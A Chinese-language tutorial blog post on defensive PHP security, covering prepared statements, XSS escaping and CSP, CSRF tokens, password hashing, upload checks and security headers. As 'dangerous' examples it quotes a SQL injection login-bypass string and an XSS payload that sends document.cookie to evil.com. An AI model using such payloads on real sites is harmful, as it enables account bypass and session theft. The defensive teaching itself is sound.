返回博客
技术 2025年3月8日 9 分钟阅读 · 2265 字

PHP 安全编程:防注入、XSS 与 CSRF 实战

从输入验证到输出转义,全面构建 PHP 应用的安全防线

#PHP #安全编程 #SQL注入 #XSS
本文由 AI 辅助生成,经人工审核发布

SQL 注入防御:PDO 预处理语句

SQL 注入是 Web 应用最常见的攻击之一。攻击者通过拼接恶意 SQL 语句,绕过认证、窃取数据甚至删除表。防御的核心手段是使用 PDO 预处理语句,彻底分离 SQL 结构与数据。

为什么要用预处理语句

// ❌ 危险:直接拼接 SQL
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
// 攻击者输入: admin' OR '1'='1
// 最终SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 结果:返回所有用户,绕过登录验证
// ✅ 安全:PDO 预处理语句
$pdo = new PDO($dsn, $username, $password, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES => false,  // 关闭模拟预处理
]);

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute([':username' => $username]);
$user = $stmt->fetch();

预处理语句的安全原理:数据库引擎先将 SQL 模板编译为执行计划,参数作为纯数据传入,永远不会被解释为 SQL 语法。

预处理语句的各种用法

// 命名占位符
$stmt = $pdo->prepare(
    'INSERT INTO users (name, email, age) VALUES (:name, :email, :age)'
);
$stmt->execute([
    ':name'  => $name,
    ':email' => $email,
    ':age'   => $age
]);

// 问号占位符
$stmt = $pdo->prepare(
    'UPDATE products SET stock = stock - ? WHERE id = ?'
);
$stmt->execute([$quantity, $productId]);

// IN 子句处理(预处理不支持直接绑定数组)
$ids = [1, 2, 3, 5, 8];
$placeholders = implode(',', array_fill(0, count($ids), '?'));
$stmt = $pdo->prepare("SELECT * FROM products WHERE id IN ($placeholders)");
$stmt->execute($ids);

安全配置清单

配置项推荐值说明
PDO::ATTR_EMULATE_PREPARESfalse使用真正的数据库预处理
PDO::ATTR_ERRMODEERRMODE_EXCEPTION错误抛异常而非静默忽略
display_errorsOff(生产环境)不向用户暴露错误细节
log_errorsOn错误记录到日志

XSS 防护:输出转义与 CSP

XSS(跨站脚本攻击)是指攻击者注入恶意 JavaScript 代码到页面中,在用户浏览器中执行,从而窃取 Cookie、劫持会话或篡改页面内容。

输出转义

XSS 防御的黄金法则:永远不要信任用户输入,输出时必须转义

// ❌ 危险:直接输出用户内容
echo "<p>" . $userComment . "</p>";
// 攻击者输入: <script>document.location='http://evil.com/?c='+document.cookie</script>

// ✅ 安全:使用 htmlspecialchars 转义
echo "<p>" . htmlspecialchars($userComment, ENT_QUOTES, 'UTF-8') . "</p>";
// 转义后: &lt;script&gt;document.location=...&lt;/script&gt;

htmlspecialchars 参数说明:

  • ENT_QUOTES:同时转义单引号和双引号
  • 'UTF-8':指定字符编码,防止多字节编码绕过

不同上下文的转义策略

XSS 防御的关键难点在于不同 HTML 上下文需要不同的转义方式:

// HTML 文本内容
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');

// HTML 属性值(必须加引号)
echo '<input value="' . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . '">';

// JavaScript 字符串(使用 JSON 编码)
echo '<script>var data = ' . json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';

// URL 参数
echo '<a href="?q=' . urlencode($data) . '">搜索</a>';
输出上下文转义函数示例
HTML 文本htmlspecialchars()<p>文本</p>
HTML 属性htmlspecialchars() + 引号<input value="...">
JavaScriptjson_encode()var x = "..."
URLurlencode()?param=...
CSS白名单过滤color: #fff

CSP(内容安全策略)

CSP 是浏览器层面的额外防护,通过 HTTP 头限制可加载的资源来源,即使存在 XSS 漏洞也能大幅降低攻击影响:

// 严格 CSP 策略
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self';");

// 仅报告模式(上线前测试用)
header("Content-Security-Policy-Report-Only: default-src 'self'; report-to /csp-report");

CSRF 令牌防御

CSRF(跨站请求伪造)是指攻击者诱导已登录用户在不知情的情况下发送恶意请求。防御核心是为每个请求附加攻击者无法获取的令牌。

令牌生成与验证

session_start();

// 生成 CSRF 令牌
function generateCsrfToken(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// 验证 CSRF 令牌
function verifyCsrfToken(string $token): bool {
    return !empty($_SESSION['csrf_token'])
        && hash_equals($_SESSION['csrf_token'], $token);
}

// 表单中嵌入令牌
$csrfToken = generateCsrfToken();
echo '<input type="hidden" name="csrf_token" value="' . $csrfToken . '">';

// 处理 POST 请求时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
        http_response_code(403);
        die('CSRF 令牌验证失败');
    }
    // 继续处理业务逻辑
}

AJAX 请求的 CSRF 防护

对于 AJAX 请求,令牌通过自定义 HTTP 头传递:

// 将令牌输出到 meta 标签
echo '<meta name="csrf-token" content="' . $csrfToken . '">';
// 前端 AJAX 请求自动附加令牌
const token = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/update', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token
    },
    body: JSON.stringify(data)
});
// 后端验证 AJAX 请求的令牌
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!verifyCsrfToken($token)) {
    http_response_code(403);
    exit(json_encode(['error' => 'CSRF 验证失败']));
}

SameSite 属性是浏览器内置的 CSRF 防护,限制 Cookie 在跨站请求中是否发送:

// 设置 SameSite 属性
setcookie('session_id', $sessionId, [
    'expires'  => time() + 3600,
    'path'     => '/',
    'secure'   => true,        // 仅 HTTPS 传输
    'httponly' => true,        // 禁止 JavaScript 访问
    'samesite' => 'Strict'    // 或 'Lax'
]);
SameSite 值行为
Strict完全不发送跨站 Cookie
Lax(默认)GET 导航请求发送,POST 不发送
None跨站发送(需同时设置 secure

密码哈希:password_hash

密码绝不能明文存储,也不能使用 MD5/SHA1 等已被攻破的算法。PHP 提供的 password_hash 函数使用 bcrypt 或 Argon2 算法,自动加盐,是密码存储的标准方案。

// 哈希密码(自动加盐,使用 bcrypt)
$hashedPassword = password_hash($plainPassword, PASSWORD_DEFAULT);
// 输出: $2y$10$xxxxx...(包含算法、成本因子、盐值和哈希结果)

// 验证密码
if (password_verify($inputPassword, $storedHash)) {
    // 密码正确
} else {
    // 密码错误
}

// 检查是否需要重新哈希(算法升级或成本因子变更时)
if (password_needs_rehash($storedHash, PASSWORD_DEFAULT)) {
    $newHash = password_hash($inputPassword, PASSWORD_DEFAULT);
    // 更新数据库中的密码哈希
}

使用 Argon2 算法

PHP 7.2+ 支持更安全的 Argon2 算法,可通过参数控制内存和时间开销:

$options = [
    'memory_cost' => 1 << 17,  // 128MB 内存开销
    'time_cost'   => 4,        // 迭代次数
    'threads'     => 3,        // 线程数
];
$hash = password_hash($password, PASSWORD_ARGON2ID, $options);

文件上传安全

文件上传是高风险攻击面,攻击者可能上传 Web Shell 获取服务器控制权。必须从多层面防御:

function handleUpload(array $file): string {
    // 1. 检查上传错误码
    if ($file['error'] !== UPLOAD_ERR_OK) {
        throw new RuntimeException('上传失败');
    }

    // 2. 限制文件大小
    $maxSize = 5 * 1024 * 1024;  // 5MB
    if ($file['size'] > $maxSize) {
        throw new RuntimeException('文件过大');
    }

    // 3. 通过 finfo 验证真实 MIME 类型(不信任浏览器发送的 Content-Type)
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mimeType = $finfo->file($file['tmp_name']);
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
    if (!in_array($mimeType, $allowedTypes, true)) {
        throw new RuntimeException('不允许的文件类型');
    }

    // 4. 生成随机文件名,不使用用户提供的文件名
    $extension = match($mimeType) {
        'image/jpeg' => 'jpg',
        'image/png'  => 'png',
        'image/gif'  => 'gif',
        'application/pdf' => 'pdf',
        default => 'bin'
    };
    $safeName = bin2hex(random_bytes(16)) . '.' . $extension;

    // 5. 存储到 Web 根目录之外
    $uploadDir = '/var/uploads/';
    $targetPath = $uploadDir . $safeName;

    if (!move_uploaded_file($file['tmp_name'], $targetPath)) {
        throw new RuntimeException('文件保存失败');
    }

    return $safeName;
}

HTTPS 与安全 HTTP 头

强制 HTTPS

// 强制 HTTPS 重定向
if ($_SERVER['HTTPS'] !== 'on' && PHP_SAPI !== 'cli') {
    $redirectUrl = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header('Location: ' . $redirectUrl, true, 301);
    exit;
}

// HSTS 头:告知浏览器后续一年内仅使用 HTTPS 访问
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');

安全 HTTP 头清单

// 防止 MIME 类型嗅探
header('X-Content-Type-Options: nosniff');

// 防止点击劫持
header('X-Frame-Options: DENY');  // 或 SAMEORIGIN

// 控制 Referer 信息
header('Referrer-Policy: strict-origin-when-cross-origin');

// 权限策略(替代已废弃的 Feature-Policy)
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');

// X-XSS-Protection(现代浏览器已内置,但仍建议设置)
header('X-XSS-Protection: 1; mode=block');
HTTP 头作用推荐值
Strict-Transport-Security强制 HTTPSmax-age=31536000
X-Content-Type-Options禁止 MIME 嗅探nosniff
X-Frame-Options防点击劫持DENY
Content-Security-Policy限制资源来源按需配置
Referrer-Policy控制 Refererstrict-origin-when-cross-origin
Permissions-Policy浏览器功能权限按需禁用

输入验证框架

所有外部输入都必须经过验证,这是安全编程的第一道防线:

function validateInput(array $input): array {
    $errors = [];
    $clean = [];

    // 邮箱验证
    $email = trim($input['email'] ?? '');
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors['email'] = '邮箱格式不正确';
    } else {
        $clean['email'] = $email;
    }

    // 整数验证
    $age = filter_var($input['age'] ?? '', FILTER_VALIDATE_INT, [
        'options' => ['min_range' => 1, 'max_range' => 150]
    ]);
    if ($age === false) {
        $errors['age'] = '年龄必须在 1-150 之间';
    } else {
        $clean['age'] = $age;
    }

    // URL 验证
    $url = filter_var($input['website'] ?? '', FILTER_VALIDATE_URL);
    if ($url === false && !empty($input['website'])) {
        $errors['website'] = 'URL 格式不正确';
    } else {
        $clean['website'] = $url ?: '';
    }

    // 字符串白名单过滤
    $status = $input['status'] ?? '';
    $allowedStatuses = ['active', 'inactive', 'pending'];
    $clean['status'] = in_array($status, $allowedStatuses, true) ? $status : 'pending';

    if ($errors) {
        throw new ValidationException($errors);
    }
    return $clean;
}

总结

PHP 安全编程的核心思想是纵深防御——不依赖单一防线,而是层层设防:

  1. SQL 注入:始终使用 PDO 预处理语句,关闭模拟预处理
  2. XSS:输出时一律转义,根据上下文选择正确的转义方式,配合 CSP 策略
  3. CSRF:生成并验证令牌,设置 SameSite Cookie 属性
  4. 密码安全:使用 password_hash / password_verify,绝不自造哈希方案
  5. 文件上传:验证真实 MIME 类型、随机重命名、存储到 Web 根之外
  6. 传输安全:强制 HTTPS,配置 HSTS 和安全 HTTP 头
  7. 输入验证:所有外部输入先验证再使用,使用 PHP 内置过滤函数

安全不是一次性的配置,而是贯穿开发全流程的意识。每个外部输入都视为不可信,每次输出都进行转义,这是构建安全 PHP 应用的基石。